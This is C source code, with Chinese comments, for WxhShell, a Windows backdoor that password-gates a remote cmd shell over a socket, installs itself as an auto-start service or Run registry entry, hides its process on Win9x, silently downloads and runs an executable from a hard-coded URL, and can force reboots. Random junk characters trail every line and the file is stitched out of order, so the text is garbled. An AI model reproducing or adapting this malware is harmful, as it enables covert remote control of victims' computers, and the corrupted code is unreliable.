  case 'd': { hMyN$7Z  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :"'*1S*  
    if(Boot(SHUTDOWN)) O`Y@U?^N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s0m k<>z  
    else { KGrYF  
    closesocket(wsh); *FFD G_YG?  
    ExitThread(0); 0@wXE\s  
    } #_Z)2ESX  
    break; 8Om4G]*|,  
    } XwIhD  
  // 获取shell  PckAL  
  case 's': { R>hL.+l.  
    CmdShell(wsh); k>F>y|m  
    closesocket(wsh); \3T[Cy|5|  
    ExitThread(0); d >O/Zal  
    break; 89UR w9  
  } {~`{bnx^]7  
  // 退出 pfQ3Y$z  
  case 'x': { YBL.R;^v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w1LZ\nA<  
    CloseIt(wsh); g>QN9v})  
    break; w[g`)8Ib  
    } e)$a;6  
  // 离开 {hoe^07XK  
  case 'q': { 4+:'$Nw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ctbc!<@o  
    closesocket(wsh); :A+}fB IN  
    WSACleanup(); "a-;?S&  
    exit(1); #giH`|#d  
    break; {7Hc00FM  
        } 7c83g2|%   
  } F_@?'#m  
  } eq@-J+  
`SQobH  
  // 提示信息 vr4{|5M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CYYo+5x  
} O-ppR7edh  
  } QB d4ok: R  
YB.@zL0.(  
  return; ee {K5G  
} 1[!7xA0j  
:OV6R ,  
// shell模块句柄 U+[h^M$U  
int CmdShell(SOCKET sock) 0|ekwTx.  
{ v oO7W"  
STARTUPINFO si; k\Y*tY#2  
ZeroMemory(&si,sizeof(si)); G4ycP8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; erOj(ce  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |>b;M ,`OO  
PROCESS_INFORMATION ProcessInfo; +zK?1llt  
char cmdline[]="cmd"; EY0,Q {  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 84coi  
  return 0; e?pQuF~  
} t/@t_6m}*  
qL5~Wr m-W  
// 自身启动模式 3`;1;T2$B  
int StartFromService(void) (9b%'@A@m  
{ T^q^JOC4  
typedef struct c4.2o<(Xt  
{ {s{+MbD  
  DWORD ExitStatus; pTT00`R  
  DWORD PebBaseAddress; N~P1^x~  
  DWORD AffinityMask; :q~5Xw/  
  DWORD BasePriority; VAA="yN  
  ULONG UniqueProcessId; <fHN^O0TS  
  ULONG InheritedFromUniqueProcessId; LtPaTe  
}   PROCESS_BASIC_INFORMATION; Hc-up.?v'v  
q2/kegAT  
PROCNTQSIP NtQueryInformationProcess; }*S`1IWMj  
S~)_=4Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j /@<=  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tJ .Ln  
Z29LtKr  
  HANDLE             hProcess; ! F<::fN  
  PROCESS_BASIC_INFORMATION pbi; 7g:Lj,Z4L  
-@@ O<M^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 53>(2 _/[r  
  if(NULL == hInst ) return 0; <d O ~;  
1jE {]/Y7&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y;_F[m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5s@xpWVot  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sRZ?Ilua6  
 FL b  
  if (!NtQueryInformationProcess) return 0; *S?'[PS]1  
u8gqWsvruM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0`Uw[Er&  
  if(!hProcess) return 0; =Y*@8=V  
>M0^R} v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <[$a7l i  
z#lIu  
  CloseHandle(hProcess); *=tA},`\7  
Sj o-Xf}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lMcO2006L  
if(hProcess==NULL) return 0; @bChJl4  
v+o6ZNX  
HMODULE hMod; dnV&U%fO  
char procName[255]; q=*bcDu  
unsigned long cbNeeded; pfw`<*e'  
/1_O5'5+v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wPq9`9 #  
Xka+1c  
  CloseHandle(hProcess); pE%*r@p4&4  
%:j`%F;R  
if(strstr(procName,"services")) return 1; // 以服务启动 ""Oir!4  
9W, %[  
  return 0; // 注册表启动 ) I(9qt>Y  
} XA;f.u  
nW<nOKTnk_  
// 主模块 bjI3xAs~  
int StartWxhshell(LPSTR lpCmdLine) ?H>^X)Ph  
{ &[SFl{fx>-  
  SOCKET wsl; ?zfm"o  
BOOL val=TRUE; KK{_s=t%<  
  int port=0; lM#,i\8Q  
  struct sockaddr_in door; QO>';ul5  
7]ySj<1  
  if(wscfg.ws_autoins) Install(); aX*9T8H/  
@pH6FXVGzt  
port=atoi(lpCmdLine); ]z#)XW3#i  
Fnay{F8z  
if(port<=0) port=wscfg.ws_port; )l/ .<`|  
5>UQ3hWo  
  WSADATA data; %Y"pVBc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?uU_N$x  
w#ZzmO  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rz&'wCiOO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6uKP BL@,  
  door.sin_family = AF_INET; ; 6PRi/@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); BoOuN94  
  door.sin_port = htons(port); u~>G8y)k9O  
gXU(0(Gq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Y?<58[!)  
closesocket(wsl); 5<Uh2c  
return 1; W*Ow%$%2  
} PKC0Dt;F.  
r;"D>IM\  
  if(listen(wsl,2) == INVALID_SOCKET) { n-{d7haOa  
closesocket(wsl); s {^wr6B  
return 1; ;$e)r3r`LV  
} mSvSdKKKlI  
  Wxhshell(wsl); &#KN"uPW  
  WSACleanup(); \)6bLB!  
9%53 _nx?  
return 0; s= 5 k7  
dQ _4aO  
} _l1"X^Aa  
pzaU'y#PM  
// 以NT服务方式启动 2.=u '  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C`.eJF  
{ G e5Yz.Q v  
DWORD   status = 0; ef_H*e  
  DWORD   specificError = 0xfffffff; lw99{y3<<  
E'98JZ5ga  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (y~%6o6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :U=3*f.{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `'>~(8&zE  
  serviceStatus.dwWin32ExitCode     = 0; R eb.x_  
  serviceStatus.dwServiceSpecificExitCode = 0; Q1ayd$W@<  
  serviceStatus.dwCheckPoint       = 0; <mj/P|P@  
  serviceStatus.dwWaitHint       = 0; lpS v  
U OGjil{.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v*FbvrY  
  if (hServiceStatusHandle==0) return; vLBuE  
+u*Pi  
status = GetLastError(); ;#S]mso1  
  if (status!=NO_ERROR) /xcXd+k]  
{ t;/uRN*.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <m\<yZ2aa  
    serviceStatus.dwCheckPoint       = 0; mBb3Ta  
    serviceStatus.dwWaitHint       = 0; iH@u3[w  
    serviceStatus.dwWin32ExitCode     = status; nnvS.s`O  
    serviceStatus.dwServiceSpecificExitCode = specificError; !]Qk?T~9-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); B~| ]gd  
    return; f6Lc"b3s1  
  } #5kclu%L$  
Gqc6]{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oylQCbT   
  serviceStatus.dwCheckPoint       = 0; .MRN)p  
  serviceStatus.dwWaitHint       = 0; 5f?GSHA}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *W`7JL,  
} uv8k ea .(  
u[PG/ploc  
// 处理NT服务事件,比如:启动、停止 aXG|IN5 *m  
VOID WINAPI NTServiceHandler(DWORD fdwControl) i+_=7(e  
{ "Da-e\yA  
switch(fdwControl) qY'+@^<U;  
{ HY1K(T  
case SERVICE_CONTROL_STOP: 1]5k l J  
  serviceStatus.dwWin32ExitCode = 0; J/E''*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; < W`gfpzO  
  serviceStatus.dwCheckPoint   = 0; pL} F{G.  
  serviceStatus.dwWaitHint     = 0; g|->W]q@;  
  { J~4mp\4b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rx 74v!  
  } 9S[.ESI{>  
  return; kB=B?V~#  
case SERVICE_CONTROL_PAUSE: >)='.aR<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <8Tp]1z  
  break; (aC=,5N  
case SERVICE_CONTROL_CONTINUE: 8_G6X\q};  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5uahfJk  
  break; %'_:#!9  
case SERVICE_CONTROL_INTERROGATE: ;%(sbA  
  break; & 0\:MJc  
}; K3`!0(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l4.ql1BX@y  
} = $^90Q,Z;  
TBQ68o  
// 标准应用程序主函数 D`!BjhlW  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q_`j-!  
{ !bCL/[  
`OgT"FdL!  
// 获取操作系统版本 <#57q%  
OsIsNt=GetOsVer(); X%znNx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4lpcJ+:o  
 s!  
  // 从命令行安装 &A.0(s  
  if(strpbrk(lpCmdLine,"iI")) Install(); lMh>eX  
wIR"!C>LE  
  // 下载执行文件 reArXmU<u  
if(wscfg.ws_downexe) { !iNwJ|0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C4d'z(<  
  WinExec(wscfg.ws_filenam,SW_HIDE); !OQ5AF$  
} rc<Ix  
)8rF'pxI  
if(!OsIsNt) { G4P*U3&p  
// 如果时win9x,隐藏进程并且设置为注册表启动 K1A<m=If  
HideProc(); tP*GYWI48  
StartWxhshell(lpCmdLine); !sEhjJV^7  
} dlCiqY: }  
else D29Lu(f  
  if(StartFromService()) `''y,{Fs  
  // 以服务方式启动 "4Q_F3?_`  
  StartServiceCtrlDispatcher(DispatchTable); UcD<vg"p  
else Ayg^<)JWh  
  // 普通方式启动 SCe$v76p#  
  StartWxhshell(lpCmdLine); r-xP 6  
WQ8 "Jj?k6  
return 0; @x}^2FE  
} G~bDl:k`A  
nw+^@|4  
C96*,.j~'  
0A~UuH0.  
=========================================== 3(|,:"9g  
$N}t)iA  
Ab/JCZNn  
D}X6I#U'/  
wd<{%qK`{  
g[t paQ  
" + jeOZ  
E@xrn+L>-  
#include <stdio.h> & fWC-|  
#include <string.h> i^iu #WC  
#include <windows.h> 4k3pm&  
#include <winsock2.h> eD2eDxN2  
#include <winsvc.h>  <)~-]  
#include <urlmon.h> U9^1 A*  
@R%qP>_  
#pragma comment (lib, "Ws2_32.lib") 0%[IG$u)|  
#pragma comment (lib, "urlmon.lib") kh=<M{-t  
p4k}B. f  
#define MAX_USER   100 // 最大客户端连接数 X=abaKl  
#define BUF_SOCK   200 // sock buffer f~Pce||e  
#define KEY_BUFF   255 // 输入 buffer uM_ww6  
uKXD(lzX  
#define REBOOT     0   // 重启 "M-';;  
#define SHUTDOWN   1   // 关机 9$e$L~I#u  
l4r >#n\yj  
#define DEF_PORT   5000 // 监听端口 ];6955I!  
0asP,)i  
#define REG_LEN     16   // 注册表键长度 {D..(f1*u  
#define SVC_LEN     80   // NT服务名长度 3(t,x  
z#PaQp5F  
// 从dll定义API ru9@|FgAE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ( >ze{T|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); F <6(Hw#>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }v|_]   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \<`oW>  
XR7v\rd  
// wxhshell配置信息 rFzj\%xa[  
struct WSCFG { tN\I2wm  
  int ws_port;         // 监听端口 o@.{|j  
  char ws_passstr[REG_LEN]; // 口令 w}OBp^V^  
  int ws_autoins;       // 安装标记, 1=yes 0=no u*I'c2m  
  char ws_regname[REG_LEN]; // 注册表键名 Q8h0.(#-  
  char ws_svcname[REG_LEN]; // 服务名 =. \hCgq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %dW ;P[0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 uQx/o ^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 B|"i`{>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i.Y2]1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BLaNS4e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zng.(]U/?H  
ovM;6o  
}; /J_ ],KdU  
zT6nC5E  
// default Wxhshell configuration =M*pym]QSY  
struct WSCFG wscfg={DEF_PORT, nr -< mQ  
    "xuhuanlingzhe", !DSm[Z1  
    1, 82EvlmD  
    "Wxhshell", Z#N w[>NN*  
    "Wxhshell", 1Hr1Ir<KR  
            "WxhShell Service", 7 rRI-wZ  
    "Wrsky Windows CmdShell Service", f"j9C% '*  
    "Please Input Your Password: ", ]*mUc`  
  1, p o)lN[v  
  "http://www.wrsky.com/wxhshell.exe", EKF4 ]  
  "Wxhshell.exe" c"lwFr9x7  
    }; T"za|Fo  
U_PH#e  
// 消息定义模块 i6n,N)%H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j|Vl\Z&o)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "h[)5V{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1`L.$T,1!  
char *msg_ws_ext="\n\rExit."; $"|r7n5[  
char *msg_ws_end="\n\rQuit."; w*/@|r39  
char *msg_ws_boot="\n\rReboot..."; k]r4b`x`  
char *msg_ws_poff="\n\rShutdown..."; <W8 %eRfU  
char *msg_ws_down="\n\rSave to "; l P=I0A-  
e<1Ewml(]  
char *msg_ws_err="\n\rErr!"; ?G',Qtz<K  
char *msg_ws_ok="\n\rOK!"; tl!dRV92  
P%l?C?L  
char ExeFile[MAX_PATH]; PcT]  
int nUser = 0; DMch88W  
HANDLE handles[MAX_USER];  \SQ4yc  
int OsIsNt; ^(C4Q?[2m  
([rn.b]  
SERVICE_STATUS       serviceStatus; _,(s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I)` +:+P  
^VMCs/g6  
// 函数声明 "xTVu57Z[  
int Install(void); TS+jDs  
int Uninstall(void); o jxK8_kl  
int DownloadFile(char *sURL, SOCKET wsh); wH@S$WT  
int Boot(int flag); Yu)GV7\2  
void HideProc(void); G[ #R1'  
int GetOsVer(void); SS`\_@ci  
int Wxhshell(SOCKET wsl); )mOM!I7D@  
void TalkWithClient(void *cs); weu+$Kr  
int CmdShell(SOCKET sock); +8?18@obp  
int StartFromService(void); _p 1!8*0]  
int StartWxhshell(LPSTR lpCmdLine); -['& aey}a  
WZ,k][~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;4b=/1M'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ^ /G ;  
S{&%tj~U  
// 数据结构和表定义 ~<K,P   
SERVICE_TABLE_ENTRY DispatchTable[] = jG{?>^  
{ xsRkO9x  
{wscfg.ws_svcname, NTServiceMain}, Lm`-q(!7w  
{NULL, NULL} rBQ<5.  
}; U@yhFj_y  
nF]R "  
// 自我安装 VvP: }yJ  
int Install(void) A. tGr(r  
{ }ixCbuD  
  char svExeFile[MAX_PATH]; q#c+%,Z=C  
  HKEY key; U&R)a| 7R  
  strcpy(svExeFile,ExeFile); \VOv&s;h  
viYrPhH+z  
// 如果是win9x系统,修改注册表设为自启动 .EHq.cde  
if(!OsIsNt) { FT6CKsM"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b~tu;:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qfCZ [D  
  RegCloseKey(key); __tA(uA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0Mn |Yb4p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r7_%t_O|IL  
  RegCloseKey(key); ue7D' UZL>  
  return 0; \Q}Y"oq  
    } U.~G{H`G,u  
  } Fyw X  
} u5rvrn ]  
else { ZaY|v-  
=kwz3Wv  
// 如果是NT以上系统,安装为系统服务 l(Hz9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H"w;~;h  
if (schSCManager!=0) ;Qt/(/  
{ ](s5 ;ta   
  SC_HANDLE schService = CreateService jGkDD8K [  
  ( v+g:0 C5 (  
  schSCManager, x(EwHg>;  
  wscfg.ws_svcname,  9Ca0Tu  
  wscfg.ws_svcdisp, 7DK}c]js  
  SERVICE_ALL_ACCESS, RaSuzy^`*]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -UidU+ES;  
  SERVICE_AUTO_START, 0 !%G #~th  
  SERVICE_ERROR_NORMAL, }[!=O+g O  
  svExeFile, 0%&}wUjV  
  NULL, )XSHKPTQ1  
  NULL, T&6>Eb0{  
  NULL, yLCMu | +  
  NULL, X0j>g^b8  
  NULL W(ryL_#;  
  ); fNx!'{o"  
  if (schService!=0) ~V?z!3r-)  
  { ]CcRI|g}  
  CloseServiceHandle(schService); _\k?uUo&,^  
  CloseServiceHandle(schSCManager); @?]>4+Oa0  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1@LUxU#Uu$  
  strcat(svExeFile,wscfg.ws_svcname); J"E _i]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^.@%n1I"5y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MRo_An+  
  RegCloseKey(key); ~cO iv  
  return 0; vdUKIP =|_  
    } .UX4p =  
  } v8C($<3%  
  CloseServiceHandle(schSCManager); g&w~eWpk  
} K0vS  
} YhRy C*b  
[ t8]'RI%  
return 1; J{a9pr6  
} ;q%z\gA  
JBc*m  
// 自我卸载 *wJz0ex7R/  
int Uninstall(void) _(:$ :*@  
{ &D-z|ZjgHi  
  HKEY key; U&*%KPy`  
9L-jlAo<  
if(!OsIsNt) { 1]0;2THx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \X(*JNQ  
  RegDeleteValue(key,wscfg.ws_regname); SzeY?04zj:  
  RegCloseKey(key); P$y'``  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q4!\^HwQ  
  RegDeleteValue(key,wscfg.ws_regname); vY.VFEP/  
  RegCloseKey(key); dJrUcZBr  
  return 0; uR2|>m  
  } ^uw]/H3?L  
} bnvY2-O6  
} 1D [>oK\  
else { 8"d??3ZXJ  
kQ&Q_FSO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z 369<  
if (schSCManager!=0) G"(aoy, co  
{ W<^t2j'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *6u2c%^  
  if (schService!=0) YE*|KL^  
  { K7{B !kX4k  
  if(DeleteService(schService)!=0) { \BfMCA/  
  CloseServiceHandle(schService); +CSv@ />3  
  CloseServiceHandle(schSCManager); )+,h}XqlX  
  return 0; B9 ?58v&  
  } O.y ?q  
  CloseServiceHandle(schService); NB^Al/V@  
  } DS@Yto  
  CloseServiceHandle(schSCManager); RTg\c[=w  
} "|&3z/AUh  
} oXk6,b"  
jvR(e"  
return 1; UB8n,+R  
} 8[AU`F8W  
An?#B4:  
// 从指定url下载文件 2Rwd\e.z  
int DownloadFile(char *sURL, SOCKET wsh) `) ],FE*:  
{ sieC7raO  
  HRESULT hr; E&t8nlTx  
char seps[]= "/"; Fx1FxwIJ  
char *token; d5 {=<j  
char *file; *+6iXMwe  
char myURL[MAX_PATH]; (5:pHX`P  
char myFILE[MAX_PATH]; f9y+-GhaD  
92D~trn  
strcpy(myURL,sURL); r.Z g<T  
  token=strtok(myURL,seps); e9Gu`$K  
  while(token!=NULL) ?+Vi !eS  
  { H13\8Te{  
    file=token; ]D,_<Kk  
  token=strtok(NULL,seps); u+6D|  
  } KC:6^h'.  
sHPeAa22  
GetCurrentDirectory(MAX_PATH,myFILE); 2g_mQT  
strcat(myFILE, "\\"); 74 )G.!  
strcat(myFILE, file); Tu}EAr  
  send(wsh,myFILE,strlen(myFILE),0); =\)zb'\=d  
send(wsh,"...",3,0); vQ2{ +5!|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e~'z;% O~  
  if(hr==S_OK) "dOQ)<;  
return 0; d2U?rw_  
else /ET+`=n  
return 1; LH_ U#P`E  
)ryP K"V  
} C}jrx^u>  
'T qF}a7  
// 系统电源模块 wm ?%&V/#  
int Boot(int flag) *""W`x  
{ i+T5 (P$  
  HANDLE hToken; -jrAk  
  TOKEN_PRIVILEGES tkp; 5efN5Kt  
S fY9PNck\  
  if(OsIsNt) { %FqQ+0^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t"J{qfNs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  H4YA  
    tkp.PrivilegeCount = 1; &~B8~U4%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >X:!Y[N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); K]yWpW  
if(flag==REBOOT) { ",Mrdxn7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9FNsW$b?  
  return 0; 't*]6^  
} CZ$B2i6  
else { o >yXEg  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) MwQt/Qv=  
  return 0; fiU#\%uJg  
} # SJJ@SM  
  } _"t>72 `  
  else { S+t2k&pm  
if(flag==REBOOT) { *6=9 8C4I  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ayn$,  
  return 0; NZ!I >  
} 1#+|RL4o  
else { ./'d^9{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eMV8`&c'  
  return 0; "j8=%J{  
} l1L8a I,8  
} `e3$jy@  
JwWxM3(%t  
return 1; T9kc(i'  
} 9CN'2 9c  
B#5[PX  
// win9x进程隐藏模块 FK-q-PKO#.  
void HideProc(void) jpW_q+^?  
{ cuy9QBB :  
V=1zk-XC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |:2B)X  
  if ( hKernel != NULL ) fWri7|"0h  
  { tgl 4pAc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c1y+k vv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x7i<dg&  
    FreeLibrary(hKernel); BE~-0g$W  
  } _]D 6m2R  
! jDopE0L  
return; D8Mq '$-  
} 9pS:#hg  
i -@V  
// 获取操作系统版本 R@_3?Z!W=  
int GetOsVer(void) sD{Wc%5  
{ kG}F/GN?  
  OSVERSIONINFO winfo; `2x.-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^rjUye%EK  
  GetVersionEx(&winfo); 7ju38@+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) r[GH#vF;7  
  return 1; XsFzSm  
  else WT1y7+_g(d  
  return 0; T 7qHw!)  
} asmu<  
anfnqa8  
// 客户端句柄模块 #&L7FBJ"*v  
int Wxhshell(SOCKET wsl) 4ZR2U3jd1  
{ ,Sy& ?t}`  
  SOCKET wsh; 5e7\tBab  
  struct sockaddr_in client; =43NSY  
  DWORD myID; L8 NZU*"  
OZ"76|H1`  
  while(nUser<MAX_USER) !g=b=YK  
{ s&$e}yxVO  
  int nSize=sizeof(client); Zv-1*hhHf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0E (G1o'  
  if(wsh==INVALID_SOCKET) return 1; &0%B3  
ORWi+H|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]A#:Uc5  
if(handles[nUser]==0) =d:3]M^  
  closesocket(wsh); >NV1#\5_R@  
else oEFo7X`t  
  nUser++; .ns=jp  
  } :^>&t^E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u5KAwMw%Q  
Iij$ce`nx  
  return 0; IX<9_q  
} :7dc;WdM  
'}bmDb*  
// 关闭 socket &o1k_!25  
void CloseIt(SOCKET wsh) 8xh x*A  
{ A2A_F|f  
closesocket(wsh); v.u 5%  
nUser--; e+VE FWz  
ExitThread(0); C>,> _  
} ! R3P@,j  
R?- zJ ;  
// 客户端请求句柄 qcQq.cS_'N  
void TalkWithClient(void *cs) X{6a  
{ BB(v,W  
+Kg }R5+  
  SOCKET wsh=(SOCKET)cs; BD86t[${W  
  char pwd[SVC_LEN]; asLrXGGyT  
  char cmd[KEY_BUFF]; `P*BW,P'T  
char chr[1]; |90X_6(  
int i,j; du#f_|xG  
Rr[Wka9[  
  while (nUser < MAX_USER) {  y}|E)  
)/~o'M3  
if(wscfg.ws_passstr) { ib!TXWq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A:yql`&s  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Qc PU{#6  
  //ZeroMemory(pwd,KEY_BUFF); Y3(I;~$!  
      i=0; Tm7LaM  
  while(i<SVC_LEN) { MEp{&#v|1  
x7`+T 1IJ  
  // 设置超时 ;)P=WS:=  
  fd_set FdRead; S{f,EBE  
  struct timeval TimeOut; }:;UnE}  
  FD_ZERO(&FdRead); Km,o+9?1gF  
  FD_SET(wsh,&FdRead); R osU~OK  
  TimeOut.tv_sec=8; {9x>@p/  
  TimeOut.tv_usec=0; ;f N^MW@&[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T0)bnjm  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )EKWsGNe/  
hdSP#Y'-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qfxEo76'  
  pwd=chr[0]; L%QRWhB  
  if(chr[0]==0xd || chr[0]==0xa) { &?Q^i">cZ  
  pwd=0; 6 v~nEw  
  break; "zCT S  
  } tLq]#9kL  
  i++; U[8F{LX  
    } ki/Cpfq40*  
O|^J;fS:  
  // 如果是非法用户,关闭 socket >kmgYWG  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); niW"o-}  
} ;$gV$KB:xA  
Y%- !%|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )& Oxp&x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fa v++z  
M5t.l (  
while(1) { S $o1Q  
B'`25u_e<  
  ZeroMemory(cmd,KEY_BUFF); EN":}!E:  
g;nLR<]  
      // 自动支持客户端 telnet标准   y;<suGl  
  j=0; #<Xq\yC51  
  while(j<KEY_BUFF) { [m 6+I9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fqq4Qc)#U&  
  cmd[j]=chr[0]; hiA\~}sl n  
  if(chr[0]==0xa || chr[0]==0xd) { Di4GaKa/  
  cmd[j]=0; >w,jaQ  
  break; M+HhTW;I=  
  } X  u HR  
  j++; Wi>m}^}9  
    } %N`_g' r!  
z9g6%RbwX  
  // 下载文件 fiD,HGx i  
  if(strstr(cmd,"http://")) { SBs!52  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S_OtY]gF  
  if(DownloadFile(cmd,wsh)) BT_XqO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *n7=m=%)  
  else HX}B#T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x a<KF  
  } "Y&   
